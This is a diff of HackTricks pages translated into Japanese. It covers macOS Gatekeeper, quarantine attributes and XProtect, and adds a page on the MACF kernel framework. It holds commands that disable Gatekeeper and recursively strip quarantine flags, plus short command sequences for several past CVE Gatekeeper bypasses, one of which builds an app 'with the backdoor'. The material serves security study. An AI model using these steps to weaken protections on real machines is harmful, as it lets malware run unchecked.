The options **`--master-disable`** and **`--global-disable`** of **`spctl`** will completely **無効化** these signature checks:
オプション **`--master-disable`** と **`--global-disable`** の **`spctl`** は、これらの署名チェックを完全に **無効に** します:
```bash
# Disable GateKeeper
spctl --global-disable
@ -135,7 +145,7 @@ spctl --master-enable
```bash
spctl --assess -v /Applications/App.app
```
新しいルールをGateKeeperに追加して、特定のアプリの実行を許可することが可能です
GateKeeperに新しいルールを追加して、特定のアプリの実行を許可することが可能です:
```bash
# Check if allowed - nop
spctl --assess -v /Applications/App.app
@ -150,29 +160,31 @@ sudo spctl --enable --label "whitelist"
spctl --assess -v /Applications/App.app
/Applications/App.app: accepted
```
Regarding **kernel extensions**, the folder `/var/db/SystemPolicyConfiguration` contains files with lists of kexts allowed to be loaded. Moreover, `spctl` has the entitlement `com.apple.private.iokit.nvram-csr` because it's capable of adding new pre-approved kernel extensions which need to be saved also in NVRAM in a `kext-allowed-teams` key.
### Quarantine Files
アプリケーションやファイルを**ダウンロード**すると、特定のmacOS **アプリケーション**(ウェブブラウザやメールクライアントなど)がダウンロードしたファイルに、一般に「**隔離フラグ**」として知られる**拡張ファイル属性**を**付加**します。この属性は、ファイルが信頼できないソース(インターネット)から来ていることを**示す**セキュリティ対策として機能し、潜在的なリスクを伴います。しかし、すべてのアプリケーションがこの属性を付加するわけではなく、一般的なBitTorrentクライアントソフトウェアは通常このプロセスを回避します。
Upon **downloading** an application or file, specific macOS **applications** such as web browsers or email clients **attach an extended file attribute**, commonly known as the "**quarantine flag**," to the downloaded file. This attribute acts as a security measure to **mark the file** as coming from an untrusted source (the internet), and potentially carrying risks. However, not all applications attach this attribute, for instance, common BitTorrent client software usually bypasses this process.
**隔離フラグの存在は、ユーザーがファイルを実行しようとしたときにmacOSのGatekeeperセキュリティ機能に信号を送ります**。
**The presence of a quarantine flag signals macOS's Gatekeeper security feature when a user attempts to execute the file**.
**隔離フラグが存在しない場合**一部のBitTorrentクライアントを介してダウンロードされたファイルなど、Gatekeeperの**チェックは行われない可能性があります**。したがって、ユーザーは、あまり安全でないまたは未知のソースからダウンロードしたファイルを開く際には注意を払うべきです。
In the case where the **quarantine flag is not present** (as with files downloaded via some BitTorrent clients), Gatekeeper's **checks may not be performed**. Thus, users should exercise caution when opening files downloaded from less secure or unknown sources.
{% hint style="info" %}
**コード署名の** **有効性**を**確認する**ことは、コードとそのバンドルされたリソースすべての暗号学的**ハッシュ**を生成することを含む**リソース集約的**なプロセスです。さらに、証明書の有効性を確認するには、発行後に取り消されているかどうかを確認するためにAppleのサーバーに**オンラインチェック**を行う必要があります。このため、アプリが起動するたびに完全なコード署名と公証のチェックを実行することは**非現実的です**。
**コード署名の** **有効性**を**確認する**ことは、コードとそのバンドルされたリソースの暗号学的**ハッシュ**を生成することを含む**リソース集約的**なプロセスです。さらに、証明書の有効性を確認するには、発行後に取り消されかどうかを確認するためにAppleのサーバーに**オンラインチェック**を行う必要があります。これらの理由から、アプリが起動するたびに完全なコード署名とノータリゼーションのチェックを実行することは**非現実的です**。
したがって、これらのチェックは**隔離属性を持つアプリを実行する際にのみ実行されます。**
{% endhint %}
{% hint style="warning" %}
この属性は、ファイルを作成/ダウンロードする**アプリケーションによって設定される必要があります**。
この属性は**ファイルを作成/ダウンロードするアプリケーションによって設定される必要があります**。
ただし、サンドボックス化されたファイルは、作成するすべてのファイルにこの属性が設定されます。そして、サンドボックス化されていないアプリは自分で設定するか、**Info.plist**に[**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc)キーを指定することで、システムが作成されたファイルに`com.apple.quarantine`拡張属性を設定するようにできます。
ただし、サンドボックス化されたファイルは、作成するすべてのファイルにこの属性が設定されます。サンドボックス化されていないアプリは自分で設定するか、**Info.plist**に[**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc)キーを指定することで、作成されたファイルに`com.apple.quarantine`拡張属性を設定させることができます。
{% endhint %}
さらに、**`qtn_proc_apply_to_self`**を呼び出すプロセスによって作成されたすべてのファイルは隔離されます。また、API **`qtn_file_apply_to_path`**は指定されたファイルパスに隔離属性を追加します。
Moreover, all files created by a process calling **`qtn_proc_apply_to_self`** are quarantined. Or the API **`qtn_file_apply_to_path`** adds the quarantine attribute to a specified file path.
そのステータスを**確認し、有効/無効にする**rootが必要ことが可能です
It's possible to **check it's status and enable/disable** (root required) with:
```bash
spctl --status
assessments enabled
@ -181,13 +193,13 @@ spctl --enable
spctl --disable
#You can also allow nee identifies to execute code using the binary "spctl"
```
あなたはまた、**ファイルが隔離の拡張属性を持っているかどうかを確認することができます**:
ファイルが隔離拡張属性を持っているかどうかを**確認することもできます**:
```bash
xattr file.png
com.apple.macl
com.apple.quarantine
```
**拡張属性**の**値**を確認し、次のコマンドを使用して隔離属性を書き込んだアプリを特定します:
**拡張属性**の**値**を確認し、次のコマンド隔離属性を書き込んだアプリを特定します:
```bash
xattr -l portada.png
com.apple.macl:
@ -269,13 +281,13 @@ return 0;
```
</details>
そして、その属性を次のように**削除**します:
そして、その属性を**削除**するには:
```bash
xattr -d com.apple.quarantine portada.png
#You can also remove this attribute from every file with
find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine
```
そして、次のコマンドで隔離されたすべてのファイルを見つけます:
そして、次のコマンドで隔離されたファイルをすべて見つけます:
{% code overflow="wrap" %}
```bash
@ -283,21 +295,34 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri
```
{% endcode %}
隔離情報は、**`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`** にあるLaunchServicesによって管理される中央データベースに保存されます。
検疫情報は、**`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`** にあるLaunchServicesによって管理される中央データベースに保存されており、GUIがファイルの起源に関するデータを取得できるようにします。さらに、これは起源を隠そうとするアプリケーションによって上書きされる可能性があります。さらに、これはLaunchServices APIから行うことができます。
#### **libquarantine.dylb**
このライブラリは、拡張属性フィールドを操作するためのいくつかの関数をエクスポートします。
`qtn_file_*` APIはファイル検疫ポリシーを扱い、`qtn_proc_*` APIはプロセスプロセスによって作成されたファイルに適用されます。エクスポートされていない`__qtn_syscall_quarantine*`関数は、ポリシーを適用するもので、最初の引数として「Quarantine」を指定して`mac_syscall`を呼び出し、`Quarantine.kext`にリクエストを送信します。
#### **Quarantine.kext**
カーネル拡張は、**システムのカーネルキャッシュを通じてのみ利用可能**ですが、**https://developer.apple.com/** から **Kernel Debug Kit** をダウンロードすることで、拡張のシンボリケート版を含むことができます。
カーネル拡張は、**システムのカーネルキャッシュを通じてのみ利用可能**ですが、**[**https://developer.apple.com/**](https://developer.apple.com/)から**カーネルデバッグキットをダウンロードすることができ、拡張のシンボリケートされたバージョンが含まれています。
このKextは、MACFを介していくつかの呼び出しをフックし、すべてのファイルライフサイクルイベントをトラップします作成、オープン、名前変更、ハードリンク... さらには`setxattr`を使用して`com.apple.quarantine`拡張属性の設定を防ぎます。
いくつかのMIBも使用します
* `security.mac.qtn.sandbox_enforce`: サンドボックスに沿った検疫を強制
* `security.mac.qtn.user_approved_exec`: 検疫されたプロセスは承認されたファイルのみを実行可能
### XProtect
XProtectはmacOSに組み込まれた**アンチマルウェア**機能です。XProtectは、アプリケーションが最初に起動または変更されたときに、既知のマルウェアおよび安全でないファイルタイプのデータベースと照合します。Safari、Mail、Messagesなどの特定のアプリを通じてファイルをダウンロードすると、XProtectは自動的にファイルをスキャンします。ファイルがデータベース内の既知のマルウェアと一致する場合、XProtectは**ファイルの実行を防ぎ**、脅威を警告します。
XProtectはmacOSに組み込まれた**アンチマルウェア**機能です。XProtectは、アプリケーションが最初に起動または変更されたときに、既知のマルウェアおよび安全でないファイルタイプのデータベースに対して**チェックを行います**。Safari、Mail、Messagesなどの特定のアプリを通じてファイルをダウンロードすると、XProtectは自動的にファイルをスキャンします。ファイルがデータベース内の既知のマルウェアと一致する場合、XProtectは**ファイルの実行を防ぎ**、脅威を警告します。
XProtectのデータベースは、Appleによって**定期的に更新**され、新しいマルウェア定義が追加されます。これらの更新は自動的にダウンロードされ、Macにインストールされます。これにより、XProtectは常に最新の既知の脅威に対して最新の状態を保ちます。
XProtectデータベースは、Appleによって**定期的に更新**され、新しいマルウェア定義が追加されます。これらの更新は自動的にダウンロードされ、Macにインストールされます。これにより、XProtectは常に最新の既知の脅威に対して最新の状態を保ちます。
ただし、**XProtectはフル機能のアンチウイルスソリューションではない**ことに注意が必要です。特定の既知の脅威のリストをチェックするだけであり、ほとんどのアンチウイルスソフトウェアのようにオンアクセススキャンを実行することはありません。
ただし、**XProtectはフル機能のアンチウイルスソリューションではない**ことに注意する価値があります。特定の既知の脅威のリストをチェックするだけであり、ほとんどのアンチウイルスソフトウェアのようにオンアクセススキャンを実行ません。
最新のXProtect更新情報を取得するには、次のコマンドを実行します:
最新のXProtect更新に関する情報を取得するには、次のコマンドを実行します:
{% code overflow="wrap" %}
```bash
@ -307,7 +332,7 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC
XProtectは、**/Library/Apple/System/Library/CoreServices/XProtect.bundle**のSIP保護された場所にあり、バンドル内にはXProtectが使用する情報が含まれています
* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: これらのcdhashを持つコードがレガシー権限を使用することを許可します。
* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: これらのcdhashを持つコードがレガシー権限を使用できるようにします。
* **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: BundleIDおよびTeamIDを介して読み込むことが禁止されているプラグインと拡張機能のリスト、または最小バージョンを示します。
* **`XProtect.bundle/Contents/Resources/XProtect.yara`**: マルウェアを検出するためのYaraルール。
* **`XProtect.bundle/Contents/Resources/gk.db`**: ブロックされたアプリケーションとTeamIDのハッシュを含むSQLite3データベース。
@ -320,7 +345,7 @@ XProtectは、**/Library/Apple/System/Library/CoreServices/XProtect.bundle**のS
Gatekeeperは、アプリケーションを実行するたびに**実行されるわけではありません**。実際には、_**AppleMobileFileIntegrity**_ (AMFI)は、Gatekeeperによってすでに実行され、検証されたアプリを実行する際にのみ**実行可能コードの署名を検証**します。
{% endhint %}
したがって、以前はアプリを実行してGatekeeperでキャッシュし、その後**アプリケーションの実行可能でないファイルを変更する**ElectronのasarやNIBファイルなどことが可能でした他の保護がなければ、アプリケーションは**悪意のある**追加とともに**実行されました**。
したがって、以前はアプリを実行してGatekeeperでキャッシュし、その後**アプリケーションの実行可能でないファイルを変更する**ElectronのasarやNIBファイルなどことが可能でしたが、他の保護がなければ、アプリケーションは**悪意のある**追加とともに**実行されました**。
しかし、現在はmacOSがアプリケーションバンドル内のファイルの**変更を防ぐ**ため、これは不可能です。したがって、[Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md)攻撃を試みると、Gatekeeperでキャッシュするためにアプリを実行した後、バンドルを変更できなくなるため、もはや悪用できないことがわかります。たとえば、Contentsディレクトリの名前をNotConに変更しエクスプロイトで示されているように、その後アプリのメインバイナリを実行してGatekeeperでキャッシュしようとすると、エラーが発生し、実行されません。
@ -330,13 +355,13 @@ Gatekeeperをバイパスする方法ユーザーに何かをダウンロー
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
**Archive Utility**を使用して抽出すると、**886文字を超えるパス**を持つファイルcom.apple.quarantine拡張属性を受け取らないことが観察されました。この状況は、意図せずにそれらのファイルが**Gatekeeperの**セキュリティチェックを**回避する**ことを可能にします。
**Archive Utility**を使用して抽出すると、**886文字を超えるパス**を持つファイルcom.apple.quarantine拡張属性を受け取らないことが観察されました。この状況は、これらのファイルが**Gatekeeperの**セキュリティチェックを**回避する**ことを意図せずに許可します。
詳細については、[**元の報告**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)を確認してください。
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
アプリケーションが**Automator**で作成されると、実行に必要な情報は`application.app/Contents/document.wflow`内にあり、実行可能ファイルにはありません。実行可能ファイルは、**Automator Application Stub**と呼ばれる一般的なAutomatorバイナリです。
**Automator**で作成されたアプリケーションでは、実行に必要な情報が`application.app/Contents/document.wflow`内にあり、実行可能ファイルにはありません。実行可能ファイルは、**Automator Application Stub**と呼ばれる一般的なAutomatorバイナリです。
したがって、`application.app/Contents/MacOS/Automator\ Application\ Stub`を**シンボリックリンクでシステム内の別のAutomator Application Stubにポイントさせる**ことができ、`document.wflow`(あなたのスクリプト)内の内容を**Gatekeeperをトリガーせずに実行**します。
@ -346,7 +371,7 @@ Gatekeeperをバイパスする方法ユーザーに何かをダウンロー
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
このバイパスでは、`application.app/Contents`から圧縮を開始するアプリケーションを含むzipファイルが作成されました。したがって、**quarantine attr**はすべての**`application.app/Contents`のファイル**に適用されましたが、**`application.app`には適用されませんでした**。これがGatekeeperがチェックしていたもので、`application.app`がトリガーされたときに**quarantine属性を持っていなかったため、Gatekeeperはバイパスされました。**
このバイパスでは、`application.app`ではなく`application.app/Contents`から圧縮を開始するアプリケーションを含むzipファイルが作成されました。したがって、**quarantine attr**はすべての**`application.app/Contents`のファイル**に適用されましたが、**`application.app`には適用されませんでした**。これがGatekeeperがチェックしていたもので、`application.app`がトリガーされたときに**quarantine属性を持っていなかったため、Gatekeeperはバイパスされました。**
```bash
zip -r test.app/Contents test.zip
```
@ -354,7 +379,7 @@ Check the [**original report**](https://www.jamf.com/blog/jamf-threat-labs-safar
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
コンポーネントが異なっていても、この脆弱性の悪用は前のものと非常に似ています。この場合、**`application.app/Contents`** から Apple Archive を生成するので、**`application.app`** は **Archive Utility** によって解凍されるときに検疫属性を取得しません。
コンポーネントが異なっていても、この脆弱性の悪用は前のものと非常に似ています。この場合、**`application.app/Contents`** から Apple Archive を生成するため、**`application.app`** は **Archive Utility** によって解凍されるときに隔離属性を取得しません。
```bash
aa archive -d test.app/Contents -o test.app.aar
```
@ -362,7 +387,7 @@ Check the [**original report**](https://www.jamf.com/blog/jamf-threat-labs-macos
### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
ACL **`writeextattr`** は、誰もファイルに属性を書き込むを防ぐために使用できます:
ACL **`writeextattr`** は、誰もファイルに属性を書き込むことを防ぐために使用できます:
```bash
touch /tmp/no-attr
chmod +a "everyone deny writeextattr" /tmp/no-attr
@ -371,7 +396,7 @@ xattr: [Errno 13] Permission denied: '/tmp/no-attr'
```
さらに、**AppleDouble**ファイル形式は、ファイルをそのACEを含めてコピーします。
[**ソースコード**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)では、**`com.apple.acl.text`**というxattr内に保存されたACLのテキスト表現が、解凍されたファイルのACLとして設定されることがわかります。したがって、他のxattrsが書き込まれるのを防ぐACLを持つ**AppleDouble**ファイル形式のzipファイルにアプリケーションを圧縮した場合... 検疫xattrはアプリケーションに設定されませんでした
[**ソースコード**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)では、xattr内に保存されたACLのテキスト表現が**`com.apple.acl.text`**という名前で、解凍されたファイルのACLとして設定されることがわかります。したがって、ACLが他のxattrsの書き込みを防ぐように設定されたアプリケーションを**AppleDouble**ファイル形式でzipファイルに圧縮した場合... 検疫xattrはアプリケーションに設定されませんでした
{% code overflow="wrap" %}
```bash
@ -384,7 +409,7 @@ python3 -m http.server
詳細については、[**元のレポート**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)を確認してください。
これがAppleArchivesでも悪用される可能性があることに注意してください:
これはAppleArchivesを使用しても悪用される可能性があることに注意してください:
```bash
mkdir app
touch app/test
@ -393,11 +418,11 @@ aa archive -d app -o test.aar
```
### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
**Google Chromeがダウンロードしたファイルにクアランティン属性を設定していなかった**ことが、macOSの内部問題によって発見されました。
**Google Chromeがダウンロードしたファイルに対して隔離属性を設定していなかった**ことが、macOSの内部問題によって発見されました。
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
AppleDoubleファイル形式は、ファイルの属性を`._`で始まる別のファイルに保存します。これにより、**macOSマシン間でファイル属性をコピーする**ことができます。しかし、AppleDoubleファイルを解凍した後、`._`で始まるファイルに**クアランティン属性が与えられなかった**ことが確認されました。
AppleDoubleファイル形式は、ファイルの属性を`._`で始まる別のファイルに保存します。これにより、**macOSマシン間でファイル属性をコピーする**ことができます。しかし、AppleDoubleファイルを解凍した後、`._`で始まるファイルに**隔離属性が与えられなかった**ことが確認されました。
{% code overflow="wrap" %}
```bash
@ -411,8 +436,8 @@ aa archive -d test/ -o test.aar
```
{% endcode %}
クアランティン属性が設定されないファイルを作成できることで、**Gatekeeperをバイパスすることが可能でした。** トリックは、AppleDouble名付け規則を使用して**DMGファイルアプリケーションを作成**し、**この隠し**ファイルへのシンボリックリンクとして**可視ファイルを作成すること**でした。\
**dmgファイルが実行されると**クアランティン属性がないため、**Gatekeeperをバイパスします。**
クアランティン属性が設定されないファイルを作成できることで、**Gatekeeperをバイパスすることが可能でした。** トリックは、AppleDouble名付け規則を使用して**DMGファイルアプリケーションを作成し**`._`で始める)、**この隠しファイルへのシンボリックリンクとして可視ファイルを作成することでした。**\
**dmgファイルが実行されると**クアランティン属性がないため、**Gatekeeperをバイパスします。**
```bash
# Create an app bundle with the backdoor an call it app.app
@ -437,7 +462,7 @@ aa archive -d s/ -o app.aar
* 被害者はtar.gzファイルを開き、アプリを実行します。
* Gatekeeperはアプリをチェックしません。
### Quarantine xattrの防止
### Quarantine xattrを防ぐ
".app"バンドルにquarantine xattrが追加されていない場合、実行時に**Gatekeeperはトリガーされません**。
@ -446,8 +471,8 @@ aa archive -d s/ -o app.aar
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -455,7 +480,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してハッキングトリックを共有してください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを送信してください。**
</details>
{% endhint %}

View file

@ -0,0 +1,268 @@
# macOS MACF
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## 基本情報
**MACF**は**Mandatory Access Control Framework**の略で、コンピュータを保護するためにオペレーティングシステムに組み込まれたセキュリティシステムです。これは、**特定のシステムの部分(ファイル、アプリケーション、システムリソースなど)に誰が、または何がアクセスできるかについて厳格なルールを設定することによって機能します**。これらのルールを自動的に強制することにより、MACFは認可されたユーザーとプロセスのみが特定のアクションを実行できるようにし、不正アクセスや悪意のある活動のリスクを減少させます。
MACFは実際には決定を下さず、**アクションを傍受する**だけであり、決定は`AppleMobileFileIntegrity.kext`、`Quarantine.kext`、`Sandbox.kext`、`TMSafetyNet.kext`、`mcxalr.kext`などの**ポリシーモジュール**(カーネル拡張)に委ねられています。
### フロー
1. プロセスがsyscall/machトラップを実行する
2. 関連する関数がカーネル内で呼び出される
3. 関数がMACFを呼び出す
4. MACFはその関数をフックするように要求したポリシーモジュールをチェックする
5. MACFは関連するポリシーを呼び出す
6. ポリシーはアクションを許可するか拒否するかを示す
{% hint style="danger" %}
AppleだけがMACフレームワークKPIを使用できます。
{% endhint %}
### ラベル
MACFは**ラベル**を使用し、その後ポリシーがアクセスを許可するかどうかを確認します。ラベル構造体の宣言コードは[こちら](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/_label.h)で見つけることができ、これは**`struct ucred`**内で[**こちら**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ucred.h#L86)の**`cr_label`**部分で使用されます。ラベルにはフラグと**MACFポリシーがポインタを割り当てるために使用できるスロットの数**が含まれています。例えば、Sandboxはコンテナプロファイルを指します。
## MACFポリシー
MACFポリシーは**特定のカーネル操作に適用されるルールと条件を定義します**。
カーネル拡張は`mac_policy_conf`構造体を構成し、`mac_policy_register`を呼び出して登録することができます。ここから[こちら](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html):
```c
#define mpc_t struct mac_policy_conf *
/**
@brief Mac policy configuration
This structure specifies the configuration information for a
MAC policy module. A policy module developer must supply
a short unique policy name, a more descriptive full name, a list of label
namespaces and count, a pointer to the registered enty point operations,
any load time flags, and optionally, a pointer to a label slot identifier.
The Framework will update the runtime flags (mpc_runtime_flags) to
indicate that the module has been registered.
If the label slot identifier (mpc_field_off) is NULL, the Framework
will not provide label storage for the policy. Otherwise, the
Framework will store the label location (slot) in this field.
The mpc_list field is used by the Framework and should not be
modified by policies.
*/
/* XXX - reorder these for better aligment on 64bit platforms */
struct mac_policy_conf {
const char *mpc_name; /** policy name */
const char *mpc_fullname; /** full name */
const char **mpc_labelnames; /** managed label namespaces */
unsigned int mpc_labelname_count; /** number of managed label namespaces */
struct mac_policy_ops *mpc_ops; /** operation vector */
int mpc_loadtime_flags; /** load time flags */
int *mpc_field_off; /** label slot */
int mpc_runtime_flags; /** run time flags */
mpc_t mpc_list; /** List reference */
void *mpc_data; /** module data */
};
```
カーネル拡張がこれらのポリシーを構成していることを特定するのは簡単で、`mac_policy_register`への呼び出しを確認することで行えます。さらに、拡張の逆アセンブルを確認することで、使用されている`mac_policy_conf`構造体を見つけることも可能です。
MACFポリシーは**動的に**登録および登録解除できることに注意してください。
`mac_policy_conf`の主なフィールドの1つは**`mpc_ops`**です。このフィールドは、ポリシーが関心を持つ操作を指定します。数百の操作があるため、すべてをゼロに設定し、ポリシーが関心を持つものだけを選択することが可能です。[こちら](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html)から:
```c
struct mac_policy_ops {
mpo_audit_check_postselect_t *mpo_audit_check_postselect;
mpo_audit_check_preselect_t *mpo_audit_check_preselect;
mpo_bpfdesc_label_associate_t *mpo_bpfdesc_label_associate;
mpo_bpfdesc_label_destroy_t *mpo_bpfdesc_label_destroy;
mpo_bpfdesc_label_init_t *mpo_bpfdesc_label_init;
mpo_bpfdesc_check_receive_t *mpo_bpfdesc_check_receive;
mpo_cred_check_label_update_execve_t *mpo_cred_check_label_update_execve;
mpo_cred_check_label_update_t *mpo_cred_check_label_update;
[...]
```
ほとんどすべてのフックは、これらの操作がインターセプトされるときにMACFによってコールバックされます。しかし、**`mpo_policy_*`** フックは例外であり、`mpo_hook_policy_init()`は登録時に呼び出されるコールバックであり(つまり、`mac_policy_register()`の後)、`mpo_hook_policy_initbsd()`はBSDサブシステムが適切に初期化された後の遅延登録中に呼び出されます。
さらに、**`mpo_policy_syscall`** フックは、任意のkextによってプライベートな**ioctl**スタイルの呼び出し**インターフェース**を公開するために登録できます。これにより、ユーザクライアントは、**ポリシー名**と整数の**コード**およびオプションの**引数**をパラメータとして指定して`mac_syscall` (#381) を呼び出すことができます。\
例えば、**`Sandbox.kext`** はこれを多く使用します。
kextの**`__DATA.__const*`**をチェックすることで、ポリシーを登録する際に使用される`mac_policy_ops`構造体を特定することが可能です。そのポインタは`mpo_policy_conf`内のオフセットにあり、その領域に存在するNULLポインタの数からも見つけることができます。
さらに、登録されたポリシーごとに更新される構造体**`_mac_policy_list`**をメモリからダンプすることで、ポリシーを構成したkextのリストを取得することも可能です。
## MACFの初期化
MACFは非常に早い段階で初期化されます。XNUの`bootstrap_thread`で設定され、`ipc_bootstrap`の後に`mac_policy_init()`が呼び出され、`mac_policy_list`が初期化され、その数瞬後に`mac_policy_initmach()`が呼び出されます。この関数は、`ALF.kext`、`AppleMobileFileIntegrity.kext`、`Quarantine.kext`、`Sandbox.kext`、`TMSafetyNet.kext`のように、Info.plistに`AppleSecurityExtension`キーを持つすべてのApple kextを取得してロードします。
## MACFコールアウト
コード内で**`#if CONFIG_MAC`**の条件付きブロックとして定義されたMACFへのコールアウトを見つけることは一般的です。さらに、これらのブロック内では、特定のアクションを実行するための**権限を確認する**ためにMACFを呼び出す`mac_proc_check*`への呼び出しを見つけることができます。さらに、MACFコールアウトの形式は、**`mac_<object>_<opType>_opName`**です。
オブジェクトは次のいずれかです:`bpfdesc`、`cred`、`file`、`proc`、`vnode`、`mount`、`devfs`、`ifnet`、`inpcb`、`mbuf`、`ipq`、`pipe`、`sysv[msg/msq/shm/sem]`、`posix[shm/sem]`、`socket`、`kext`。\
`opType`は通常、アクションを許可または拒否するために使用されるcheckです。ただし、与えられたアクションに反応するためにkextを許可するnotifyを見つけることも可能です。
[https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_mman.c#L621](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_mman.c#L621)に例があります:
<pre class="language-c"><code class="lang-c">int
mmap(proc_t p, struct mmap_args *uap, user_addr_t *retval)
{
[...]
#if CONFIG_MACF
<strong> error = mac_file_check_mmap(vfs_context_ucred(ctx),
</strong> fp->fp_glob, prot, flags, file_pos + pageoff,
&#x26;maxprot);
if (error) {
(void)vnode_put(vp);
goto bad;
}
#endif /* MAC */
[...]
</code></pre>
次に、[https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac\_file.c#L174](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac\_file.c#L174)で`mac_file_check_mmap`のコードを見つけることができます。
```c
mac_file_check_mmap(struct ucred *cred, struct fileglob *fg, int prot,
int flags, uint64_t offset, int *maxprot)
{
int error;
int maxp;
maxp = *maxprot;
MAC_CHECK(file_check_mmap, cred, fg, NULL, prot, flags, offset, &maxp);
if ((maxp | *maxprot) != *maxprot) {
panic("file_check_mmap increased max protections");
}
*maxprot = maxp;
return error;
}
```
`MAC_CHECK`マクロを呼び出しているのは、コードは[こちら](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_internal.h#L261)で見つけることができます。
```c
/*
* MAC_CHECK performs the designated check by walking the policy
* module list and checking with each as to how it feels about the
* request. Note that it returns its value via 'error' in the scope
* of the caller.
*/
#define MAC_CHECK(check, args...) do { \
error = 0; \
MAC_POLICY_ITERATE({ \
if (mpc->mpc_ops->mpo_ ## check != NULL) { \
DTRACE_MACF3(mac__call__ ## check, void *, mpc, int, error, int, MAC_ITERATE_CHECK); \
int __step_err = mpc->mpc_ops->mpo_ ## check (args); \
DTRACE_MACF2(mac__rslt__ ## check, void *, mpc, int, __step_err); \
error = mac_error_select(__step_err, error); \
} \
}); \
} while (0)
```
どの登録されたmacポリシーがその関数を呼び出し、出力をエラー変数に格納するかを確認します。このエラー変数は、成功コードによってのみ`mac_error_select`で上書き可能です。したがって、チェックが失敗した場合、全体のチェックが失敗し、アクションは許可されません。
{% hint style="success" %}
